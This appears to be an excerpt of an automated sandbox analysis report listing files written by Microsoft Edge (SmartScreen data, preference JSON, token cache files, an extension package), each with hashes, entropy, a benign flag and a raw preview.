File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.982911629552412
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfMndgXw1JHWAXTozROWtm5EQnqdbRWE/QNAo2AvHfjg9PIAclRASs:YWLSGTQ8w1JWyTo9w5/nmbRL/ov/EMl6
MD5:	B86B3E1231B0BE629BE3859C66F07F20
SHA1:	584FC7BDB46D30F7D70EA94897D30889FDB0105E
SHA-256:	D748C8463E467B9A71D2915E1C47BA28092F805505F3D0F723F089FA3A617037
SHA-512:	750E1AB351E9C2B88ED4143D44CCC1268692DE85FF55B17E65D70A1508FDFDB514F19CCA929D958DC81EACB2F4F6ECC2746553F3EA1F6A53C9105DFD52061F7C
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"48153bb8be244e0b","server_context":"1;c5faad59-a2e3-31f2-b86e-aaf958e12824;phsh:005;7e-05","result":0,"expiration_time":1734102569726439}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c1684e5a-3c49-4662-9de7-3b3a98aef5cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45879
Entropy (8bit):	6.089276703547075
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5KokmUHhDO6vP6O4WIb9l4LEAZYNxoZ20+WCAowGoup1Xl3jVzXe:mMk1rT8HSoke63YNGU0XRowhu3VlXr4p
MD5:	091F0777F03D2F7930F5885E6184D385
SHA1:	C9CED9798081A564174D5524898FA3FAC4EB7E54
SHA-256:	D25AC23397921317FC2D2BF98D0A3B3C55534BAD6DB53A77D6C62C57B06D2D38
SHA-512:	58B01B98AA5DACF8921BB7F91A42DB1535076295EEAA9FD2BA5239884D6EE15BEF3915D4A97F51186E1D41AC90E931601D4D4D272D45499A13E9F303450A1F50
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dc7f09b1-e0d0-4a17-818a-a9112fb9d870.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45879
Entropy (8bit):	6.089273955100472
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5K9kmUHhDO6vP6O4WIb9l4LEAZYNxoZ20+WCAowGoup1Xl3jVzXe:mMk1rT8HS9ke63YNGU0XRowhu3VlXr4p
MD5:	97603364DFF12256F61F71D4BD06CC7C
SHA1:	604E909BA3247EAD507FB5E163432E6E33AF495C
SHA-256:	6373675E14A471CBB0B1B2F2BF2001AA0535F4CF457EB8F0F65F25FEC349B36D
SHA-512:	7227262664B92B2A168259A9191F01E8DEF47C55861D524FED95C4954083BDABC7F6F8E78B91DC274C9CF9A1BBAA8FBF00F86BBEC82702EC6C68451CA0277F51
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ee4a997b-bbe7-4968-a539-0921d13c9375.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44588
Entropy (8bit):	6.096226766939789
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB6wu+hDO6vP6O4u3bDFqrBcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7ynEg6mchu3VlXr4CRo1
MD5:	16A7952B7909D50C77EDDC127FB18E3E
SHA1:	AFB821CE301943EE4F682789FF17EE03EEC4DA44
SHA-256:	55529FFA472F2A885938AC240E3E0FDB7AACCD83D67CEB0F511F150706EDC5CA
SHA-512:	A6CB7D42B5D08AEF5E8598F7AA804C7F547F298ECB0A840AC5F3CBF316025A1E56464F49062A7BB492AE4D6DDF4AE9363F1DA3A1C3E01F59649CDF2A75032A32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ef7dd767-23c6-4079-8d62-ae2a2fd23c87.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44644
Entropy (8bit):	6.096510042975773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBMwu+hDO6vP6O4WIb9l4LEAZcGoup1Xl3jVzXr4CW:z/Ps+wsI7yOEC6Pchu3VlXr4CRo1
MD5:	41EB8D8C7E81706C27A6960D83DC33FC
SHA1:	74986024ABC10F3283FF508D488568378A7CF71E
SHA-256:	B19692B907E0546B0CB161FAB99345044714CB165383DAC2F138E35218464D41
SHA-512:	5F24C0C088088D5E6722D8759F9F30F91F0EE45B4C24205202EBDCE1F2F32FDA487098C36D92677DA975DCBE9688AF7ACF50904EBEC0C64A399CC609DEFA42A2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.842211548710819
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxNxl9Il8unZYYNefhnedLQOa/IuFycYeqzRAd1rc:mIYhZVefhedkOa/3dYe+R3
MD5:	F46741BBAF241AE10B8CCB9DC3D89567
SHA1:	D3C1355D6486789EE501419EDE0439DD2B3A819A
SHA-256:	DADF577E80034011F6CE4DD56AF14AA4E37AA5D1C3043AD26CC1659883307BB3
SHA-512:	E561813B9BB94F68D2A6A7EDD32583A3DC7CEDFCAE3186BCCF006E65D8DD06A67A17BC788008201476C9EE5B6F379018A97D31A7C5C74B74E0E372A8D448368C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.K.L.S.s.Y.5.M.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.m.k.N.O.Y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9995024048905234
Encrypted:	false
SSDEEP:	96:YYh5L/lB/K1iuBjNcKU3DjFgQCrBig4cxJ:YILu1zFNoF/MBP4y
MD5:	D77FC5FFB0C7254CAE218E05D844078F
SHA1:	EF2F171D9D7DBF297566B46A9E0503F0A6913323
SHA-256:	F93DF992987765A66D271BDCB26752F806C0EDF2F746044D433508F9D5527604
SHA-512:	A023583ED23AF5ACE8EA56F08914D99FCF106D423F5414374D3AE3789AD79E50B8586B0410931A0D52DF39744056F8D35CB07A3D85CD618180896CEAB0E778F4
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".B.W.K.Q.l.4.Z.M.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.m.k.N.O.Y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.897992616380479
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xDZxl9Il8unIlFm0MrmeC4fNO+/k8Bi98o96YnEd/vc:arYhIFm0MDpoWk6izvN
MD5:	20A58D9F4549BFCBC33EA2A2A3BFE20D
SHA1:	43165F764BE80B05F27227AF0C5D493D153F6709
SHA-256:	DFF16CC3638C29C83CB04C501DBF2949D491C5DF4CC3499A8FE8C87C15C76CF6
SHA-512:	ED319AE058C99152C0F363291CAB59541FA18EDB39807B470CA4CB3C14862EA2CB9132C88F92F27AB13E68E9CCBD00D64259179E1B3000EFD9E2215411AC7368
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".3.X.w.C.y.F.d.r.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.B.m.k.N.O.Y.

C:\Users\user\AppData\Local\Temp\78cd1ae2-3508-498e-bf9d-1bc13030b396.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. 